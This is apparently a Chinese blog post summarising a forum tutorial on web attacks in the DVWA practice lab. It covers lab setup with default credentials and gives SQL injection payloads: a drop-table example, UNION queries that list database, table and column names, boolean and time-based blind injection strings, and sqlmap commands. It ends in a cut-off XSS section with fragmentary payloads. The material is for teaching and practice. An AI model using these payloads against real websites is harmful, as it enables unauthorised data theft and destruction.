本博客内容是看看雪论坛上的教程总结而来:
Web安全
前提:环境安装
DVWA下载地址:https://github.com/ethicalhack3r/DVWA
Phpstudy下载地址:http://phpstudy.php.cn
操作方法:
安装好win7的虚拟机,其他操作系统都可以,我安的是windows7,
下载phpstudy和DVWA上传到虚拟机中;
第一步:运行phpstudy
第二步:将下载好的DVWA文件放在www文件目录下面
然后在浏览器打开127.0.0.1/DVWA-master/DVWA-master/setup.php进行安装
第三步:在config中将config.inc.php.dist拷贝一份然后改为config.inc.php就能够正常安装了
第四步:创建数据库,phpstudy中自带数据库,默认账号密码都是root,登录mysql数据库,然后创建dvwa,完成创建。
第五步:打开config.inc.php,修改如下:
\$_DVWA[ 'db_server' ] = '127.0.0.1';
\$_DVWA[ 'db_database' ] = 'dvwa';
\$_DVWA[ 'db_user' ] = 'root';
\$_DVWA[ 'db_password' ] = 'root’;
然后浏览器打开http://127.0.0.1/DVWA-master/DVWA-master/login.php
输入账号admin和密码password之后可以进入
这里可以调节web攻击的难度:
点击view Source之后,可以看到源码
该测试网站中都会有低中高难度,可以看源码分析,看如何绕过防护措施
1、SQL注入(点击DVWA的SQL Injection)
1>首先,我们看一下正常的数据查询:
?id=1select \* from user where id =‘1’
当我们插入一段有语义的SQL语句’;drop table user–#:
?id=1 ’;drop table user-- \#select \* from user where id =‘1’ ;drop table user--\#’
这样就造成了在查询之后就删除了user表;
2>所以简单的说产生sql注入的两个条件:一个是用户能够控制输入;二是原本程序执行的语句拼接了用户输入的数据;
Sql注入就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
获取库名:union select 1,database()#
获取表明:union select 1,group_concat(table_name) from information_schema.tables
where table_schema=database()#
获取列名:union select 1,group_concat(column_name) from
information_schema.columns where table_name=‘user’#
2、SQL注入盲注(点击DVWA的SQL Injection(Blind))
1>一般的sql注入在我们输入sql语句的时候都会返回我们执行sql语句的结果,比如我们插入database(),执行结果就会是列举出当前所在的数据库名称dvwa;
而盲注就好像是在做判断题,我们执行的结果不会显示出来,只会告诉你“对”或者“不对”,不会出现回显现象。
回显:就是显示正在执行的批处理命令及执行的结果等。
2>
猜测长度:1' and length(database())>1 #
或>1(依次递增1,2,3…)4
猜测库名:1' and ascii(substr(database(),1,1))>97 #
(对应ASCII码) dvwa
<、>号可以迅速确定大概范围
猜测表名:
(1)猜测表的数量:1' and (select count(table_name) from
information_schema.tables where table_schema=database())=2#
(2)猜测表长度:1' and length(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1))=1 #
(3)获取表名:1' and ascii(substr((select table_name from
information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
(4)猜测字段的长度:1' and length(substr((select column_name from
information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
(5)猜解字段:1' and ascii(substr((select column_name from
information_schema.columns where table_name='users' limit 0,1),1,1))>120 #
3>如果某些系统对于输入的语句没有回应,那么可以用基于时间的sql盲注
(1)判断数据库长度:1' and if(length(database())=4,sleep(3),1) #
(2)猜测数据库名称:1' and if(ascii(substr(database(),1,1))>97,sleep(3),1)#
(3)猜测表的数量:1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)#
(4)猜测表名的长度:1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) #
4>sqlmap内容:(去网上下载sqlmap工具进行注入)
网站输入内容的链接放在这里运行即可
针对链接:python sqlmap.py –u “url”
网站输入内容后,提交之后抓包,将内容放到1.txt,之后运行
针对数据包: python sqlmap.py –r 1.txt
3、跨站脚本攻击(XSS)
1>跨站脚本攻击-XSS,全称Cross site
scripting,特殊的注入攻击,相当于在代码中注入恶意的脚本,当用户访问页面时,在浏览器中触发并解析代码,完成攻击。
xss根据不同的攻击形式分为反射型xss、存储型xss、Dom型Xss。
2>输入攻击脚本代码
'>
//框架注入
"> <"
link //链接注入